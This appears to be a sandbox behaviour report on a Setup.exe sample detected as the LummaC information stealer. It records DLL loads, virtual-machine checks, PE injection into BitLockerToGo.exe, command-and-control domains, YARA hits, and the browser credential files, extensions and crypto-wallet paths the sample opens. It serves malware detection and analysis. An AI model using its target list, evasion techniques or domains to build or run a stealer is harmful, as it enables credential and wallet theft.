Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Setup.exe

Static file information: File size 9918976 > 1048576

Source: Setup.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x35d000
Source: Setup.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x5ae800

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Setup.exe, 00000000.00000002.1902539857.000000000B488000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Setup.exe, 00000000.00000002.1902539857.000000000B488000.00000004.00001000.00020000.00000000.sdmp

Source: Setup.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0044C53B push esi; retf	1_2_0044C53E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0044C698 push eax; ret	1_2_0044C699
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0044C8C5 pushad ; retf	1_2_0044C8C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041B928 pushad ; ret	1_2_0041B929

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 2412

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000001.00000002.2069904374.0000000002922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000001.00000002.2069904374.00000000028ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8#
Source: Setup.exe, 00000000.00000002.1899890194.0000000000539000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00442710 LdrInitializeThunk,

1_2_00442710

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: offybirhtdi.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: activedomest.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: arenbootk.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mediavelk.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: definitib.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: elaboretib.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: strikebripm.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ostracizez.sbs
Source: Setup.exe, 00000000.00000003.1784608320.000000000B986000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fashionablei.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2727008	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 448000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 44B000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 45B000	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b62c000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.b580000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.b580000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1800435792.000000000B580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3848, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000001.00000003.2020460357.000000000298B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
